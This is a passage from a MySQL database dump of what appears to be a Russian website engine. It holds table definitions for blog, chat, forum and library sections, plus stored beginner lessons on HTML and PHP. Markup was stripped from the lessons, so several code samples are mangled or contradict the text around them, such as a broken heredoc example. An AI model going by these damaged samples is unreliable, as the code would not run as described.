так просто…***\r\n\r\nТаблицы CSS, позволяющие
визуализировать XML-документы, все же не
решают всех проблем. В настоящее время
имеются гораздо более мощные средства
для трансформации и презентации
документов XML, позволяющие не только
произвольным образом форматировать
документ XML, но и изменять его структуру,
осуществлять поиск и сортировку в
документе и выполнять другие интересные
и полезные операции. Для расширения
таких возможностей был разработан
специальный расширяемый язык стилей (XSL).
У читателя может возникнуть вопрос:
«Если я хочу связывать документ XML с
различными стилевыми таблицами, должен
ли я каждый раз менять строку документа,
декларирующего его связь со стилевой
таблицей, или это можно делать
динамически, используя скрипты или языки
программирования?» Конечно, можно!
Впрочем, об этом в следующий
раз…[/b]','','5','14','1409390011','3'); /*!40000 ALTER TABLE
`blog_stat` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table
`chat_post` -- DROP TABLE IF EXISTS `chat_post`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `chat_post` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `room` int(10) NOT NULL, `msg` text NOT NULL,
`avtor` varchar(244) NOT NULL, `avtorlogin` varchar(244) NOT NULL,
`time` varchar(244) NOT NULL, `color` varchar(25) NOT NULL, `emotion`
varchar(40) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT
CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `chat_post` -- LOCK TABLES `chat_post`
WRITE; /*!40000 ALTER TABLE `chat_post` DISABLE KEYS */; /*!40000 ALTER
TABLE `chat_post` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for
table `chat_room` -- DROP TABLE IF EXISTS `chat_room`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `chat_room` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `name` varchar(244) NOT NULL, `about` text NOT
NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8; /*!40101
SET character_set_client = @saved_cs_client */; -- -- Dumping data for
table `chat_room` -- LOCK TABLES `chat_room` WRITE; /*!40000 ALTER TABLE
`chat_room` DISABLE KEYS */; /*!40000 ALTER TABLE `chat_room` ENABLE KEYS
*/; UNLOCK TABLES; -- -- Table structure for table `config` -- DROP TABLE
IF EXISTS `config`; /*!40101 SET @saved_cs_client =
@@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `config` ( `id` int(11) NOT NULL AUTO_INCREMENT,
`style` varchar(244) NOT NULL DEFAULT 'style', PRIMARY KEY (`id`) )
ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; /*!40101 SET
character_set_client = @saved_cs_client */; -- -- Dumping data for table
`config` -- LOCK TABLES `config` WRITE; /*!40000 ALTER TABLE `config`
DISABLE KEYS */; INSERT INTO `config` VALUES (1,'bester'); /*!40000 ALTER
TABLE `config` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for
table `forum_kat` -- DROP TABLE IF EXISTS `forum_kat`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `forum_kat` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `razdel` varchar(244) NOT NULL, `name`
varchar(244) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT
CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `forum_kat` -- LOCK TABLES `forum_kat`
WRITE; /*!40000 ALTER TABLE `forum_kat` DISABLE KEYS */; /*!40000 ALTER
TABLE `forum_kat` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for
table `forum_post` -- DROP TABLE IF EXISTS `forum_post`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `forum_post` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `razdel` int(11) NOT NULL, `kat` int(11) NOT
NULL, `tema` int(11) NOT NULL, `text` mediumtext NOT NULL, `us`
varchar(255) NOT NULL, `time` varchar(255) NOT NULL, `citata`
mediumtext NOT NULL, `citata_us` varchar(255) NOT NULL, PRIMARY KEY
(`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8; /*!40101 SET
character_set_client = @saved_cs_client */; -- -- Dumping data for table
`forum_post` -- LOCK TABLES `forum_post` WRITE; /*!40000 ALTER TABLE
`forum_post` DISABLE KEYS */; /*!40000 ALTER TABLE `forum_post` ENABLE KEYS
*/; UNLOCK TABLES; -- -- Table structure for table `forum_razdel` -- DROP
TABLE IF EXISTS `forum_razdel`; /*!40101 SET @saved_cs_client =
@@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `forum_razdel` ( `id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(244) NOT NULL, `opis` varchar(255) NOT NULL, PRIMARY KEY
(`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8; /*!40101 SET
character_set_client = @saved_cs_client */; -- -- Dumping data for table
`forum_razdel` -- LOCK TABLES `forum_razdel` WRITE; /*!40000 ALTER TABLE
`forum_razdel` DISABLE KEYS */; /*!40000 ALTER TABLE `forum_razdel` ENABLE
KEYS */; UNLOCK TABLES; -- -- Table structure for table
`forum_tema` -- DROP TABLE IF EXISTS `forum_tema`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `forum_tema` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `razdel` int(11) NOT NULL, `kat` int(11) NOT
NULL, `text` varchar(244) NOT NULL, `name` varchar(244) NOT NULL,
`us` varchar(255) NOT NULL, `time` varchar(255) NOT NULL, `status`
int(11) NOT NULL, `up` varchar(255) NOT NULL, PRIMARY KEY (`id`) )
ENGINE=MyISAM DEFAULT CHARSET=utf8; /*!40101 SET character_set_client =
@saved_cs_client */; -- -- Dumping data for table `forum_tema` -- LOCK
TABLES `forum_tema` WRITE; /*!40000 ALTER TABLE `forum_tema` DISABLE KEYS
*/; /*!40000 ALTER TABLE `forum_tema` ENABLE KEYS */; UNLOCK TABLES; -- --
Table structure for table `forum_zaklad` -- DROP TABLE IF EXISTS
`forum_zaklad`; /*!40101 SET @saved_cs_client = @@character_set_client
*/; /*!40101 SET character_set_client = utf8 */; CREATE TABLE
`forum_zaklad` ( `id` int(11) NOT NULL AUTO_INCREMENT, `tema`
varchar(244) NOT NULL, `us` varchar(244) NOT NULL, PRIMARY KEY (`id`) )
ENGINE=MyISAM AUTO_INCREMENT=5 DEFAULT CHARSET=utf8; /*!40101 SET
character_set_client = @saved_cs_client */; -- -- Dumping data for table
`forum_zaklad` -- LOCK TABLES `forum_zaklad` WRITE; /*!40000 ALTER TABLE
`forum_zaklad` DISABLE KEYS */; INSERT INTO `forum_zaklad` VALUES
(3,'2','101'),(4,'14','1'); /*!40000 ALTER TABLE `forum_zaklad` ENABLE KEYS
*/; UNLOCK TABLES; -- -- Table structure for table `guest` -- DROP TABLE
IF EXISTS `guest`; /*!40101 SET @saved_cs_client =
@@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `guest` ( `id` int(11) NOT NULL AUTO_INCREMENT, `msg`
text NOT NULL, `avtor` varchar(244) NOT NULL, `time` varchar(244) NOT
NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8; /*!40101
SET character_set_client = @saved_cs_client */; -- -- Dumping data for
table `guest` -- LOCK TABLES `guest` WRITE; /*!40000 ALTER TABLE `guest`
DISABLE KEYS */; /*!40000 ALTER TABLE `guest` ENABLE KEYS */; UNLOCK
TABLES; -- -- Table structure for table `jalob_ba` -- DROP TABLE IF
EXISTS `jalob_ba`; /*!40101 SET @saved_cs_client =
@@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `jalob_ba` ( `id` int(11) NOT NULL AUTO_INCREMENT,
`about` text NOT NULL, `avtor` varchar(244) NOT NULL, `komy`
varchar(244) NOT NULL, `time` varchar(244) NOT NULL, PRIMARY KEY
(`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8; /*!40101 SET
character_set_client = @saved_cs_client */; -- -- Dumping data for table
`jalob_ba` -- LOCK TABLES `jalob_ba` WRITE; /*!40000 ALTER TABLE
`jalob_ba` DISABLE KEYS */; /*!40000 ALTER TABLE `jalob_ba` ENABLE KEYS
*/; UNLOCK TABLES; -- -- Table structure for table `kidala` -- DROP TABLE
IF EXISTS `kidala`; /*!40101 SET @saved_cs_client =
@@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `kidala` ( `id` int(255) NOT NULL AUTO_INCREMENT,
`id_user` int(255) NOT NULL, `nick` varchar(50) CHARACTER SET utf8 NOT
NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=latin1; /*!40101
SET character_set_client = @saved_cs_client */; -- -- Dumping data for
table `kidala` -- LOCK TABLES `kidala` WRITE; /*!40000 ALTER TABLE
`kidala` DISABLE KEYS */; /*!40000 ALTER TABLE `kidala` ENABLE KEYS
*/; UNLOCK TABLES; -- -- Table structure for table `lenta` -- DROP TABLE
IF EXISTS `lenta`; /*!40101 SET @saved_cs_client =
@@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `lenta` ( `id` int(11) NOT NULL AUTO_INCREMENT, `text`
text NOT NULL, `kto` varchar(100) NOT NULL, `komy` varchar(100) NOT
NULL, `time` varchar(100) NOT NULL, `readlen` varchar(1) NOT NULL,
PRIMARY KEY (`id`) ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT
CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client
*/; -- -- Dumping data for table `lenta` -- LOCK TABLES `lenta`
WRITE; /*!40000 ALTER TABLE `lenta` DISABLE KEYS */; INSERT INTO `lenta`
VALUES (1,'оставил комментарий к вашей
[url=http://dumbass.worldbyte.net/news/comment8?selection=top]новости[/url]','2','1','1419588891','1'); /*!40000
ALTER TABLE `lenta` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure
for table `lib_razdel` -- DROP TABLE IF EXISTS `lib_razdel`; /*!40101 SET
@saved_cs_client = @@character_set_client */; /*!40101 SET
character_set_client = utf8 */; CREATE TABLE `lib_razdel` ( `id` int(11)
NOT NULL AUTO_INCREMENT, `name` varchar(100) DEFAULT NULL, `opis`
varchar(244) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM
AUTO_INCREMENT=7 DEFAULT CHARSET=utf8; /*!40101 SET character_set_client =
@saved_cs_client */; -- -- Dumping data for table `lib_razdel` -- LOCK
TABLES `lib_razdel` WRITE; /*!40000 ALTER TABLE `lib_razdel` DISABLE KEYS
*/; INSERT INTO `lib_razdel` VALUES (4,'Css','Обучение
css'),(2,'Html','Изучение html'),(3,'Php','Обучение
php'); /*!40000 ALTER TABLE `lib_razdel` ENABLE KEYS */; UNLOCK
TABLES; -- -- Table structure for table `lib_stat` -- DROP TABLE IF
EXISTS `lib_stat`; /*!40101 SET @saved_cs_client =
@@character_set_client */; /*!40101 SET character_set_client = utf8
*/; CREATE TABLE `lib_stat` ( `id` int(11) NOT NULL AUTO_INCREMENT,
`razdel` int(11) NOT NULL, `name` varchar(100) DEFAULT NULL, `opis`
varchar(5000) NOT NULL, `meta` varchar(100) NOT NULL, `files`
varchar(255) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM
AUTO_INCREMENT=52 DEFAULT CHARSET=utf8; /*!40101 SET character_set_client =
@saved_cs_client */; -- -- Dumping data for table `lib_stat` -- LOCK
TABLES `lib_stat` WRITE; /*!40000 ALTER TABLE `lib_stat` DISABLE KEYS
*/; INSERT INTO `lib_stat` VALUES (20,2,'Урок 1: Структура
web-документа. Вставка коммента','Каждый
HTML-документ, отвечающий спецификации HTML
какой-либо версии, должен начинаться со
строки объявления версии HTML , которая
обычно выглядит примерно так:\r\n
"http://www.w3.org/TR/html4/loose.dtd">\r\n В
данном случае мы говорим браузеру, что HTML
соответствует международной
спецификации версии 4.01. Не пытайтесь
запомнить эту строчку наизусть, главное -
вы должны знать, что она необходима. Ведь
именно она помогает сделать сайт,
которыйбудет одинаково смотреться
вовсех браузерах(обычно это три основных
Internet Explorer,Opera, Firefox) .\r\n Далее обозначается
начало и конец документа тегами и
соответственно. Внутри этих тегов должны
находиться теги головы () и тела
документа() .\r\n Обычно основой головы
документа является элемент TITLE -
заголовок документа. Также там
содержится вся техническая информация,
различные таблицы стилей и.т.п.А основное
содержимое: текст,таблицы,картинки, -
находится в теле документа.\r\n Как вы
видите голова находится над телом,
поэтому никогда не размещайте голову
документа в теле документа (или наоборот)
. Сначала закрываем голову документа , и
лишь затем открываем тело . И еще, у
документа одна голова и однотело, и не
стоит пытаться создавать их большее
количество.\r\n Вставка комментария: \r\n
Очень полезным при создании сайтов
является вставка комментария. Почему? да
потому, что через месяц после создания,
вам будет трудноваторазобраться что к
чему, ведь кода будет очень много. А если
вы будете комментировать свои действия -
тогда разобраться будет значительно
легче! Т.к. это учебник html с примерами ,
давайте к ним и обратимся:)\r\n Пример:\r\n
"http://www.w3.org/TR/html4/loose.dtd">\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
. . .\r\n\r\n\r\n\r\n Вы уже наверное догадались,
что закомментированный текст нужен
только для Вас, т.е. при просмотре
документа через браузер его видно не
будет.\r\n В начале комментарий нужно
открыть тегом .\r\n Примечание: тег внутри
элемента TITLE не
действует.','','files_1547_1599_'),(5,3,'Урок 1.
Синтаксис','Синтаксис — правила, которые
необходимо соблюдать, чтобы писать
правильно структурированный код.\r\n
Синтаксис PHP и его семантика похожи на
большинство других языков
программирования (C, Java, Perl). С той лишь
разницей, что код PHP встраивается в html
разметку страницы. Весь код PHP должны
содержаться в следующих тегах:\r\n\r\n
?>\r\n Или просто:\r\n ?>\r\n\r\n\r\n Если вы
не хотите проблем, то пишете по
стандартной форме (т.е. ?php), а не в
сокращенном виде. Это гарантирует, что
ваши скрипты будут работать на серварах
с разными настройками.\r\n Как сохранять
ваши PHP страницы\r\n\r\n Если у вас есть PHP
код, который включен в HTML и вы хотите,
чтобы браузер интерпретировал все
правильно, то вы должны сохранить файл с
расширением .php, вместо стандартного .html.
Так что не забудьте проверить, что вы
сохраняете файлы правильно. Например,
вместо index.html должно быть index.php.\r\n Пример
простой html страницы с PHP кодом\r\n\r\n Ниже
приведен пример простой странички,
которая содержит в себе php код. Вы можете
брать ее за основу для своих
проектов:\r\n\r\n\r\n\r\n\r\n\r\n\r\n echo "Hello
World!";\r\n ?>\r\n\r\n\r\n\r\n Вот что мы
получим в результате:\r\n\r\n Hello World!\r\n\r\n
Если вы сохраните этот файл (например,
helloworld.php) и закинете его на сервер с
поддержкой PHP, а затем загрузите ее в
браузере, то вы должны увидеть надпись
«Hello World!». Если этого не произошло,
пожалуйста, проверьте, что Вы все сделали
правильно и четко следовали примеру. Или
задавайте вопросы в комментариях.\r\n\r\n Мы
использовали команду echo, чтобы написать
«Hello World!». Конечно, мы вернемся к этой
команде чуть позже, в следующих уроках.\r\n
Точка с запятой!\r\n\r\n Как вы можете
заметить, в приведенном выше примере не
было точки с запятой после строки кода PHP.
Точка с запятой означает конец операции
в PHP и никогда не стоит о ней забывать.
Например, если бы мы повторили нашу
команду вывода надписи «Hello World!»
несколько раз, то мы должны поставить
точку с запятой в конце каждой
строки.\r\n\r\n\r\n\r\n\r\n\r\n\r\n echo "Hello World!
";\r\n echo "Hello World! ";\r\n echo
"Hello World! ";\r\n echo "Hello World!
";\r\n echo "Hello World! ";\r\n
?>\r\n\r\n\r\n\r\n Результат:\r\n\r\n Hello World! Hello
World! Hello World! Hello World! Hello World!\r\n\r\n
Пробелы\r\n\r\n Как и в HTML, пробелы между PHP
выражениями игнорируются. То есть если в
коде 20 пустых строк, например, для
форматирования, то ничего страшного, они
не будут видны в результате. Так же как и
табуляция (Tab).\r\n\r\n\r\n\r\n\r\n\r\n\r\n echo "Hello
World!"; \r\n\r\n\r\n\r\n echo "Hello
World!";\r\n\r\n\r\n ?>\r\n\r\n\r\n\r\n
Результат:\r\n\r\n Hello World!Hello
World!','','files_3543_2069_'),(6,3,'Урок 2.
Переменные','Переменная является
средством хранения значения, такого как
текстовая строка «Hello World!» или целое
значение 4. Переменная может быть
использована в любом месте кода, вместо
того, чтобы вводить фактические значения
снова и снова. В PHP вы определяете
переменную следующим образом:\r\n\r\n
$variable_name = Value;\r\n\r\n Как вы видите, любая
переменная начинается со знака доллара.
Нельзя о ней забывать, иначе ничего
работать не будет. Это распространенная
ошибка начинающих программистов PHP!\r\n\r\n
Примечание: Кроме того, имена переменных
чувствительны к регистру, так что
используйте тоже самое написание при
использовании переменной, что и при
объявлении. Переменные $a_number и $A_number
различные переменные в глазах PHP.\r\n
Небольшой пример с переменными\r\n\r\n Итак,
чтобы использовать переменные в языке php,
мы должны сначала ее объявить (для этого
придумать имя) и задать ей значение. Вот
как это правильно сделать:\r\n\r\n $hello =
"Hello World!";\r\n $a_number = 4;\r\n $anotherNumber =
8;\r\n ?>\r\n\r\n Примечание: PHP не требует
объявления переменных перед
использованием. Например, в Pascal нам бы
потребовалось сначала объявить весь
список переменных в разделе var. В пхп
ничего такого не нужно.\r\n Разрешенные
названия переменных\r\n\r\n Есть несколько
правил, которые нужно соблюдать при
выборе имени для ваших PHP переменных.\r\n\r\n
PHP переменных должны начинаться с буквы
или символа подчеркивания «_».\r\n PHP
переменные могут состоять только из
буквенно-цифровых знаков и символов
подчеркивания. a-z, A-Z, 0-9, или _.\r\n
Переменные из более чем одного слова
могут быть разделены подчеркиванием.
$my_variable\r\n Переменные из более чем одного
слова также можно разделить регистром.
$myVariable','','files_4115_2083_'),(7,3,'Урок 3. Echo','Вывод
строки\r\n Для вывода строки, как мы делали
в предыдущих уроках, используется echo. С
ее помощью можно выводить текст в
кавычках, значения переменных и т.д.
Давайте рассмотрим на примере.\r\n\r\n $myString
= "Hello!";\r\n echo $myString;\r\n echo "\r\nI
love using PHP!\r\n";\r\n ?>\r\n Вывод фразы
«Hello!» нам уже знаком, тут ничего нового.
Зато следующая команда echo, как вы видите,
содержит html тег. Использовать html теги не
запрещается, ведь php дает нам динамику, а
статика и оформление страницы все еще во
власти обычного html.\r\n\r\n Осторожны,
двойные кавычки!\r\n Это очень здорово, что
вы можете выводить HTML внутри PHP. Тем не
менее, вы должны быть осторожны при
использовании HTML-кода или любой другой
строки, содержащей кавычки! В Эхо
используются кавычки, чтобы определить
начало и конец строки, поэтому вы должны
использовать один из следующих
вариантов, если хотите использовать
кавычки внутри echo:\r\n\r\n Не используйте
кавычки внутри строки.\r\n Экранируйте
внутренние кавычки через слеш. Чтобы
избежать обработки внутренних кавычек,
просто поставьте обратную косую черту
прямо перед ними, то есть \\».\r\n
Используйте одинарные кавычки
(апострофы) на внутри строки.\r\n Смотрите
наш пример ниже для правильного и
неправильного использования команды
echo:\r\n\r\n // This won\'t work because of the quotes around
specialH5!\r\n echo "\r\nI love using PHP!\r\n"; \r\n\r\n
// OK because we escaped the quotes!\r\n echo "\r\nI love using
PHP!\r\n"; \r\n\r\n // OK because we used an apostrophe \'\r\n
echo "\r\nI love using PHP!\r\n"; \r\n ?>\r\n
Если вы хотите вывести строку,
содержащую цитаты, либо используйте
апостроф (‘), либо экранируйте кавычки
поставив слеш перед ними (\\»). Обратная
косая черта скажет PHP, что вы хотите,
чтобы символ после нее не был обработан
интерпретатором!\r\n\r\n Вывод переменных\r\n
Выводить переменные очень легко. На
самом деле для вывода переменных в пхп
ничего особенного делать то и не нужно.
Он сам это умеет. Вот пример, который
поможет вам во всем разобраться:\r\n\r\n
$my_string = "Hello Bob. My name is: ";\r\n $my_number =
4;\r\n $my_letter = a;\r\n echo $my_string;\r\n echo $my_number;\r\n echo
$my_letter;\r\n ?>\r\n Результат:\r\n\r\n Hello Bob. My
name is: 4a\r\n Одновременный вывод переменных
и текстовых строк\r\n Вы также можете
выводить переменные в двойных кавычках
(например, «текст текст $variable»). Поставив
переменную внутри кавычек («») вы
говорите PHP, что вы хотите, чтобы он взял
ее значение, преобразовал его к
строковому типу и вывел. Пример ниже
показывает как правильно сделать такой
трюк \r\n\r\n $my_string = "Hello Bob. My name is:
";\r\n echo "$my_string Bobettta \r\n";\r\n echo
"Hi, I\'m Bob. Who are you? $my_string \r\n";\r\n echo
"Hi, I\'m Bob. Who are you? $my_string Bobetta";\r\n
?>\r\n Результат:\r\n\r\n Hello Bob. My name is:
Bobetta\r\n Hi, I\'m Bob. Who are you? Hello Bob. My name is: \r\n Hi, I\'m
Bob. Who are you? Hello Bob. My name is: Bobetta\r\n Размещая
переменные внутри строки, вы можете
сэкономить время и сделать код более
удобным для чтения, но к этому надо
привыкнуть. Не забывайте использовать
кавычки, одинарные кавычки не будут
выводить значения переменных. Одинарные
кавычки просто выведут имя переменной в
строку, т.е. $ my_string, а не «Hello Bob. My name
is».\r\n\r\n Echo не является функцией!\r\n Echo
является не функцией, а языковой
конструкцией. При использовании функции
в PHP, они имеют очень конкретную форму,
которую мы обязательно рассмотрим чуть
позже. На данный момент, просто знайте,
что echo это специальный инструмент,
который вы обязательно полюбите! \r\n\r\n
Конкатенация строк PHP\r\n Самая, пожалуй,
распространенная операция со строками —
это их
конкатенация,','','files_5239_3719_'),(8,3,'Урок 4.
Строки','PHP — Создание строк\r\n Прежде чем
вы сможете использовать строку, вы
должны создать ее! Строка может быть
использована непосредственно в функции
или сохранена в переменной. Ниже мы
создадим одну и ту же строку дважды:
сначала сохраним ее в переменной, а во
втором случае мы пошлем строку
непосредственно на вывод.\r\n\r\n $my_string =
"myblaze.ru - лучший сайт в мире!";\r\n
echo "myblaze.ru - лучший сайт в
мире!";\r\n echo $my_string;\r\n В приведенном
выше примере первая строка будет
храниться в переменной $my_string, а вторая
строка будет использоваться в echo без
сохранения. Не забудьте сохранить ваши
строки в переменные, если вы планируете
использовать их больше, чем один раз!
Ниже приведен результат кода из нашего
примера. Строки выглядят одинаково как
вы видите.\r\n\r\n myblaze.ru - лучший сайт в
мире!\r\n PHP — Строки в одинарных
кавычках\r\n До сих пор мы создавали
строки, используя двойные кавычки, но их
так же можно создавать и в одинарных
кавычках, известных как апостроф (‘).\r\n\r\n
$my_string = \'myblaze.ru - лучший сайт в мире\';\r\n echo
\'myblaze.ru - лучший сайт в мире\';\r\n echo
$my_string;\r\n Если вы хотите использовать
одинарные кавычки в строке, вы должны
избавиться от одной кавычки, поставив
перед ней обратную косую черту \\.
Например, так: \\»!\r\n Пример:\r\n\r\n echo \'myblaze
it\\\'s cool!\';\r\n PHP — Строки в двойных
кавычках\r\n Мы использовали двойные
кавычки и будем продолжать использовать
их как основной способ формирования
строк. Двойные кавычки позволяют
избежать многих специальных символов,
которые будут использованы, чего нельзя
сказать об одинарной кавычке. Еще раз,
обратный слеш используется для пропуска
символов.\r\n\r\n $newline = "A newline is
\\n";\r\n $return = "A carriage return is
\\r";\r\n $tab = "A tab is \\t";\r\n $dollar =
"A dollar sign is \\$";\r\n $doublequote = "A
double-quote is \\"";\r\n Примечание: Если
вы хотите вывести невидимые символы,
такие как табуляция, например, то уже
знакомый нам слеш поможет в этом!\r\n\r\n На
самом деле эти символы не очень полезны,
ведь браузеры обрезают ненужные пробелы
и табуляции, но в редких случаях они
могут пригодиться. Табуляции, новые
строки и возвраты каретки являются
примерами экстра пробела. Тем не менее,
при записи в файл, который может быть
прочитан человеком, эти экранированные
символы представляют собой ценный
инструмент, т.к. помогают форматировать
текст и приводят его в удобочитаемый
вид!\r\n\r\n PHP — Создание строки методом
Heredoc\r\n Два метода выше являются
традиционными способами создания строки
в большинстве языков программирования.
PHP же представляет более надежный
инструмент создания строк, который
называется Heredoc. Он позволяет
программисту создавать многострочные
строки без использования кавычек.
Однако, будьте осторожны с этим методов,
ведь он сложнее и может привести к
проблемам, если вы не правильно им
воспользуетесь! Вот как это
делается:\r\n\r\n $my_string = << myblaze.ru \r\n -
лучший \r\n сайт в мире\r\n TEST;\r\n\r\n echo
$my_string;\r\n Результат:\r\n\r\n myblaze.ru - лучший
сайт в мире\r\n Есть несколько очень
важных вещей, которые следует помнить
при использовании Heredoc.\r\n Используйте
<<< и некоторые идентификатор,
который вы выбрали, чтобы начать Heredoc. В
этом примере мы выбрали TEST, как наш
идентификатор.\r\n Повторное
использование идентификатора с точкой с
запятой, заканчивает создание строки
методом Heredoc.\r\n Закрытие
последовательности, должно происходить
на отдельной строке и не может быть
смещено!\r\n\r\n Кстати, при выводе
полученной таким способом строки в
браузере мы получаем одну строку, а не
несколько, т.е. мы не использовали тег br
внутри нашей конструкции. Именно поэтому
несколько раз подумайте перед
использованием этого метода. А
действительно ли он вам
нужен?','','files_4321_4754_'),(9,3,'Урок 5.
Операторы','Есть много операторов,
используемых в PHP, поэтому мы разделили
их на категории для простоты
изучения.\r\n\r\n Операторы присваивания.\r\n
Арифметические операторы.\r\n Операторы
сравнения.\r\n Строковые операторы.\r\n
Арифметические операторы совместно с
операторами присваивания.\r\n Операторы
присваивания\r\n Операторы присваивания
используются для задания конкретного
значения переменной или присвоения
переменной значения другой переменной.
Присвоение осуществляется с помощью
символа «=». Пример:\r\n\r\n $my_var = 4;\r\n $another_var =
$my_var;\r\n Теперь и $my_var и $another_var содержат
значение 4.\r\n Присваивание может быть
использовано в сочетании с
арифметическими операторами.\r\n\r\n
Арифметические операторы\r\n\r\n\r\n Код для
примера:\r\n\r\n $addition = 2 + 4; \r\n $subtraction = 6 - 2; \r\n
$multiplication = 5 * 3; \r\n $division = 15 / 3; \r\n $modulus = 5 % 2;
\r\n echo "Пример сложения: 2 + 4 =
".$addition."\r\n"; \r\n echo
"Пример вычитания: 6 - 2 =
".$subtraction."\r\n"; \r\n echo
"Пример умножения: 5 * 3 =
".$multiplication."\r\n"; \r\n echo
"Пример деления нацело: 15 / 3 =
".$division."\r\n"; \r\n echo
"Пример остатка от деления: 5 % 2 =
" . $modulus;\r\n Результат кода:\r\n\r\n
Пример сложения: 2 + 4 = 6\r\n Пример
вычитания: 6 - 2 = 4\r\n Пример умножения: 5 * 3 =
15\r\n Пример деления нацело: 15 / 3 = 5\r\n
Пример остатка от деления: 5 % 2 = 1\r\n На
самом деле все просто, не так ли? \r\n\r\n
Операторы сравнения\r\n Сравнения
используются, чтобы проверить связь
между переменными или их значениями.
Простой пример использования операторов
сравнения будет представлен в уроке 9.
Операторы сравнения используются внутри
условных операторов и могут принимать
значения истина или лож. Вот наиболее
важные из операторов сравнения
PHP.\r\n\r\n\r\n\r\n Строковые операторы\r\n Как мы
уже видели в уроке про Echo, оператор «.»
используется, чтобы соединить две строки
(или более) вместе.\r\n\r\n Конечно же
пример:\r\n\r\n $a_string = "Hello";\r\n
$another_string = " Billy";\r\n $new_string = $a_string .
$another_string;\r\n echo $new_string . "!";\r\n
Результат:\r\n\r\n Hello Billy!\r\n Арифметические
операторы совместно с операторами
присваивания\r\n В программировании это
очень часто возникает задача, которая
требует увеличения переменной на
некоторую фиксированную величину.
Наиболее распространенным примером
является счетчик. Скажем, вы хотите
увеличить счетчик на 3:\r\n\r\n $counter = $counter +
3;\r\n Однако, можно сократить запись.\r\n\r\n
$counter += 3;\r\n Эта комбинация операторов
будет выполнять ту же задачу.
Недостатком такой конструкции является
то, что она снижает читаемость кода для
тех программистов, которые не привыкли к
такому оператору. В общем, «+=» и «-=»
являются наиболее широко используемыми
операторами. Вот несколько похожих
примеров из других областей.\r\n\r\n\r\n\r\n
Пред, Пост — инкремент и Пред, Пост —
декремент\r\n Это может показаться
немного абсурдным, но есть даже короткая
запись для общей задачи добавления
единицы и вычитания единицы из
переменной. Чтобы добавить 1 к
переменной, можно использовать оператор
«++» (инкремент):\r\n\r\n $x++; что эквивалентно
$x += 1; или $x = $x + 1;\r\n Чтобы вычесть 1 из
переменной, можно использовать оператор
«—» (декремент):\r\n\r\n $x—; что
эквивалентно $x -= 1; или $x = $x — 1;\r\n В
дополнение к этому сокращению вы можете
указать, хотите ли вы увеличить
переменную до вывода или после. Вот
пример того, о чем я говорю:\r\n\r\n $x = 4;\r\n echo
"Значение переменной с
пост-инкрементом = " . $x++;\r\n echo
"\r\n Значение переменной после
выполнения пост-инкремента = " . $x;\r\n
$x = 4;\r\n echo "\r\nЗначение переменной с
пред-инкрементом = " . ++$x;\r\n echo
"\r\n Значение переменной после
пред-инкремента = " . $x;\r\n Посмотрите
на результат:\r\n\r\n Значение переменной с
пост-инкрементом = 4\r\n Значение
переменной после выполнения
пост-инкремента = 5\r\n Значение переменной
с пред-инкрементом = 5\r\n Значение
переменной после пред-инкремента = 5\r\n
Как вы можете видеть, значение
переменной $х++ не отражается эхом в
тексте, потому что переменная не
увеличивается до окончания выполнения
кода. Однако, с пред-инкрементом ++$х,
переменная будет отражать результат
сразу.','','files_4944_2467_'),(10,3,'Урок 6.
Комментарии','Комментарии в PHP аналогичны
комментариям, которые используются в HTML.
В синтаксисе PHP комментарий начинаются
всегда с особой последовательностью
символов и весь текст, который
появляется между этих спецсимволов,
будет проигнорирован
интерпретатором.\r\n\r\n В HTML основная цель
комментария в том, чтобы служить в
качестве примечания разработчикам,
которые могут просматривать исходный
код вашего сайта. Комментарии РНР
отличаются тем, что они не будут
отображаться для посетителей.
Единственный способ посмотреть PHP
комментарии это открыть файл для
редактирования. Это делает PHP
комментарии полезными только для PHP —
программистов.\r\n\r\n В случае, если вы
забыли или не знали, как делаются
комментарии в HTML, то смотрите пример
ниже.\r\n\r\n\r\n Синтаксис php комментариев:
однострочный комментарий\r\n Тогда как в
html есть только один вид комментариев, в PHP
имеется целых два типа. Первый тип,
который мы будем обсуждать, это
